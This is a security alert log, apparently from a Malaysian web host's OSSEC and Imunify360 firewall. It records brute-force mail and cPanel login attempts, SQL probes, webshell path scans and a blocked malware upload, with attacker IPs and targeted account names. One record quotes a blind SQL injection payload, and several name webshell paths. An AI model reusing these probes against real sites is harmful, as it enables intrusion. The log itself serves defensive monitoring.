2026-02-01 12:37:41 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58354: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.129.28
country_id: 99237
description:
2026-02-01 12:38:07 dovecot_plain authenticator failed for H=(regst) [65.20.129.28]:34567: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:38:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64724: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:38:11 dovecot_login authenticator failed for H=(seVUsB1YO) [178.16.52.139]:55808: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-02-01 12:38:35 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (camnes) [174.169.224.27]:35476: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:38:05 dovecot_login authenticator failed for H=(GVVivYZP) [158.94.208.175]:63946: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:39:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47228: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 12:39:08 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:55186: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:39:12 dovecot_login authenticator failed for H=(oRMpRIXQC) [158.94.208.175]:57691: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:39:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53817: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.142.1.173
country_id: 1814991
description:
2026-02-01 12:39:21 dovecot_login authenticator failed for H=([220.189.239.206]) [183.142.1.173]:49454: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:39:34 dovecot_login authenticator failed for H=(pIY8Uj) [178.16.52.139]:63725: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 12:39:36 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:47452: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.205.115.105
country_id: 1819730
domain: mail.modern.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/modern/public_html/wp-includes/SimplePie/wp-login.php||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 12:40:45 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:42897: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:40:14 dovecot_login authenticator failed for H=(zGKEM55V2) [158.94.208.175]:55379: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 12:40:32 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:37118: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:40:38 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51315: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-02-01 12:40:08 dovecot_login authenticator failed for H=([121.128.76.109]) [61.72.59.106]:57841: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.115.105
country_id: 1819730
domain: mail.modern.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/modern/public_html/wp-admin/images/admin.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.15.44
country_id: 6252001
description:
[2026-02-01 12:40:32 +0800] info [cpaneld] 45.38.15.44 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:41:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57151: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 12:41:37 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:52348: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:41:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:32964: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:41:15 dovecot_login authenticator failed for H=(H2IvuEm) [158.94.208.175]:54259: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 12:41:17 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:33300: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:42:20 dovecot_login authenticator failed for H=(pISfeD7po) [158.94.208.175]:55107: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:42:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61489: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:43:51 dovecot_login authenticator failed for H=(EJ2u1mjU) [158.94.208.175]:55094: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 12:43:55 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:49896: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:43:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56550: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:43:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62665: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:44:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42942: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:44:08 dovecot_login authenticator failed for H=(9acm4BWE) [178.16.52.139]:62548: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-01 12:44:10 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:63536: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:44:50 dovecot_login authenticator failed for H=(uuSnN6g) [158.94.208.175]:61492: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:44:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51594: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.201.125.138
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97331515120828 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:45:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57222: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:45:22 dovecot_login authenticator failed for H=(lwAjZwOu5) [158.94.208.175]:58082: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:46:51 dovecot_login authenticator failed for H=(p3rT9yZ) [158.94.208.175]:53660: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:46:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45496: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:46:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52207: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.250.200.53
country_id: 3469034
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product-detail.php?id=1353287495 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.213.236.66
country_id: 6252001
description:
2026-02-01 12:47:34 dovecot_plain authenticator failed for H=c-73-213-236-66.hsd1.va.comcast.net (truidater) [73.213.236.66]:42248: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:47:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57517: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:47:22 dovecot_login authenticator failed for H=(QQBcaQ) [158.94.208.175]:50777: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:48:43 dovecot_login authenticator failed for H=(S78ZK8yYzf) [178.16.52.139]:52635: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:48:23 dovecot_login authenticator failed for H=(4X4iSVDY) [158.94.208.175]:59525: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:48:42 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58427: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:48:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52640: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.48.25.24
country_id: 6252001
description:
[2026-02-01 12:49:19 +0800] info [cpaneld] 86.48.25.24 - wohcheon "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wohcheon (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 12:49:21 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:50631: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:49:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64284: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 12:49:09 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:59184: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.8
country_id: 798544
description:
2026-02-01 12:49:19 dovecot_login authenticator failed for H=89-67-37-8.dynamic.play.pl [89.67.37.8]:47037: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.179.78.247
country_id: 2017370
description:
2026-02-01 12:49:30 dovecot_login authenticator failed for H=89-179-78-247.broadband.corbina.ru [89.179.78.247]:50734: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:49:25 dovecot_login authenticator failed for H=(jB1QJjP) [158.94.208.175]:58380: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:50:31 dovecot_login authenticator failed for H=(aA6W0CXlbo) [178.16.52.139]:51668: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:50:57 dovecot_login authenticator failed for H=(RBheAxP0R) [158.94.208.175]:49407: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:50:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58328: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:50:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53862: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.124.148.205
country_id: 2017370
description:
2026-02-01 12:50:49 dovecot_login authenticator failed for H=([92.124.148.205]) [92.124.148.205]:56672: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-02-01 12:51:00 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:15454: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:51:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59690: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-01 12:51:18 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:49676: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:51:28 dovecot_login authenticator failed for H=(RHTx0LW3) [158.94.208.175]:58141: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.31.60
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:51:57 dovecot_login authenticator failed for H=(a78JQnAdlS) [178.16.52.139]:58552: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:52:19 dovecot_login authenticator failed for H=(dzCDLP) [158.94.208.175]:64390: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:52:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54814: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.144.201.130
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=39 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:52:31 dovecot_login authenticator failed for H=(O1EtARD) [178.16.52.139]:64164: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:53:28 dovecot_login authenticator failed for H=(sbcJWFEJDc) [158.94.208.175]:53153: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.130
country_id: 1269750
description:
2026-02-01 12:53:35 dovecot_login authenticator failed for H=([182.95.184.130]) [182.95.184.130]:33060: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.0.111.246
country_id: 2233387
description:
2026-02-01 12:53:46 dovecot_login authenticator failed for H=(host-129.0.111.246.mtn.cm) [129.0.111.246]:55420: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.245.204.101
country_id: 6252001
description:
[2026-02-01 12:53:02 +0800] info [webmaild] 162.245.204.101 - central@agpc.org.my "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:53:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60298: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:53:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34806: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-02-01 12:53:45 222853 [Warning] Aborted connection 222853 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:53:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60298: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.218.195.26
country_id: 1814991
description:
2026-02-01 12:53:17 dovecot_login authenticator failed for H=([58.218.195.26]) [58.218.195.26]:59734: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-02-01 12:54:22 222872 [Warning] Aborted connection 222872 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:54:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55173: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:template_id||MV:1 and sleep(6)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1 and sleep(6)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Attempt to upload malware||Action:swpsmtp_clear_log||Scan duration:910342||Sizes:163||Combined size:163||User:agpcorg||WPU:||Filename:oeeJAAclGN.txt||Scanned:/tmp//20260201-125422-aX7cfjOsqXP9DnXwLlAIQAAAABE-file-nZNpx2||SC:/home/agpcorg/public_html/wp-admin/admin-ajax.php||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 12:54:42 222895 [Warning] Aborted connection 222895 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:template_id||MV:1 and sleep(6)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: PHP Injection Low value||MV:1 and sleep(6)#||MVN:ARGS:template_id||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/wp-admin/admin-ajax.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:54:38 dovecot_login authenticator failed for H=(ZL8s2gSv) [158.94.208.175]:56536: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:55:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39848: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:55:29 dovecot_login authenticator failed for H=(lbgBeoKm) [178.16.52.139]:54902: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:55:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61638: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:56:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51614: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.39.216.10
country_id: 1814991
description:
2026-02-01 12:56:22 dovecot_login authenticator failed for H=([120.39.216.10]) [120.39.216.10]:49836: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.134.240.171
country_id: 6252001
description:
[2026-02-01 12:56:23 +0800] info [cpaneld] 76.134.240.171 - usfoodco "GET /login/?login_only=1&user=usfoodco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoodco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:56:34 dovecot_login authenticator failed for H=(B4NYrx1uyO) [158.94.208.175]:62653: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.136.217.106
country_id: 6252001
description:
[2026-02-01 12:56:18 +0800] info [cpaneld] 73.136.217.106 - usfoodcomm "GET /login/?login_only=1&user=usfoodcomm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoodcomm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.66.247.183
country_id: 6252001
description:
[2026-02-01 12:56:20 +0800] info [cpaneld] 173.66.247.183 - usfoodcom "GET /login/?login_only=1&user=usfoodcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: User usfoodcom has their account suspended. Login blocked.


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.105.11
country_id: 3469034
description:
2026-02-01 12:56:03 dovecot_login authenticator failed for H=(faculdadeunica.static.gvt.net.br) [177.43.105.11]:34703: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.242.154.243
country_id: 6252001
description:
[2026-02-01 12:56:04 +0800] info [cpaneld] 96.242.154.243 - usfood "GET /login/?login_only=1&user=usfood&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfood (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.31.247.100
country_id: 6252001
description:
